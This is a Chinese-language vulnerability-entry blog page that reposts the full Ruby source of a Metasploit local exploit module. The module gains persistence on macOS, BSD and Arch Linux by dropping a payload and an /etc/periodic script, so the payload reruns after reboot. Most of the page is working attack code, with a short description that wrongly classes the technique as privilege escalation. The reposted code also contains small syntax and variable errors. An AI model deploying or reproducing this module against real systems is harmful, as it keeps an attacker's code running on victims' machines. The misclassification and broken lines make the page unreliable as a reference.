Periodic Script Persistence

漏洞信息

漏洞名称: Periodic Script Persistence

漏洞类型: 权限提升

漏洞等级: 高危

漏洞描述: 该漏洞利用模块通过在/etc/periodic目录下写入脚本实现持久化攻击。根据The Art of Mac Malware的资料,截至2024年,尚未有恶意软件通过此方式进行持久化。此攻击需要root权限才能执行,适用于BSD、OSX或Arch Linux系统。

受影响产品: 该漏洞主要影响Mac OS X、BSD和Arch Linux操作系统。这些系统广泛用于个人和企业环境中,特别是在需要高安全性和稳定性的场景中。

漏洞解释: 漏洞类型为权限提升,技术根源在于系统允许在/etc/periodic目录下写入脚本,而攻击者可以利用这一点在系统中植入恶意脚本,从而实现持久化攻击。这通常是由于系统配置不当或缺乏适当的访问控制机制导致的。

影响分析: 该漏洞可能导致攻击者在受害系统上实现持久化,从而持续执行恶意代码,窃取敏感信息或破坏系统服务。由于需要root权限,攻击者通常需要先获得系统的高权限访问权。然而,一旦成功利用,攻击者可以在系统重启后仍保持其恶意活动,对系统安全构成严重威胁。

产品名称: Mac OS X, BSD, Arch Linux

来源: https://github.com/rapid7/metasploit-framework/blob/a0d03c06388b15477878522f7d67ad8efbf1aea1/modules%2Fexploits%2Fmulti%2Flocal%2Fperiodic_script_persistence.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Periodic Script Persistence',
'Description' => %q{
This module will achieve persistence by writing a script to the /etc/periodic directory.
According to The Art of Mac Malware no such malware species persist in this manner (2024).
This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.
},
'License' => MSF_LICENSE,
'Author' => [
'gardnerapp',
'msutovsky-r7'
],
'References' => [
[
'URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
'URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'
]
],
'DisclosureDate' => '2012-04-01',
'Privileged' => true,
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DefaultTarget' => 4,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),
OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script']),
OptString.new('PAYLOAD_DIR', [true, 'Directory to write payload to', '/tmp/']),
OptString.new('PAYLOAD_FILENAME', [true, 'Name of the payload file', Rex::Text.rand_text_alphanumeric(rand(6..13))])
])
end

def check
periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"

if writable? periodic
return CheckCode::Vulnerable "#{periodic} is writable"
else
CheckCode::Safe "Unable to write to #{periodic}"
end
end

def write_payload(payload_bin)
payload_dir = datastore['PAYLOAD_DIR']

print_status("Detected operating system: #{session.platform}")

fail_with(Failure::BadConfig, "The #{payload_dir} is not writable.") unless writable? payload_dir

payload_dir += '/' unless payload_dir.ends_with? '/'

payload_file = File.join(payload_dir, datastore['PAYLOAD_FILENAME'])

if upload_and_chmodx(payload_file, payload_bin)
print_good "Writing payload to #{payload_file} suceeded"
else
fail_with(Failure::UnexpectedReply, "Unable to write payload to #{script}")
end

# add payload to cleanup
@clean_up_rc << "rm #{payload_file} "
payload_file
end

def write_periodic_script(payload_file)
periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"

periodic_script_name = (datastore['PERIODIC_SCRIPT_NAME'].blank?) ?Rex::Text.rand_text_alphanumeric(rand(6..13))? : datastore['PERIODIC_SCRIPT_NAME']
periodic_script = File.join(periodic_dir, datastore['PERIODIC_SCRIPT_NAME'])

@clean_up_rc << periodic_script.to_s

if upload_and_chmodx(periodic_script, payload_file.to_s)
print_status "Succesfully wrote periodic script to #{periodic_script}. This will execute #{payload_file}."
else
fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}")
end
end

def exploit
@clean_up_rc = 'sudo '

if target['Arch'] == ARCH_PYTHON
print_status 'Getting python version & path.'

python = cmd_exec('which python3 || which python2 || which python')

if python.blank? || !file?(python)
fail_with(Failure::PayloadFailed, 'Unable to find python version. ')
end

print_good "Found python path #{python}"

payload_bin = "#{python}\n" + payload.encoded
elsif target['Arch'] == ARCH_CMD
payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n" + payload.raw
else
payload_bin = generate_payload_exe
end

payload_file = write_payload payload_bin

write_periodic_script payload_file

print_status("Cleanup command '#{@clean_up_rc}'")
end
end



Periodic Script Persistence
http://example.com/2025/07/29/github_337863684/
作者
lianccc
发布于
2025年7月29日
许可协议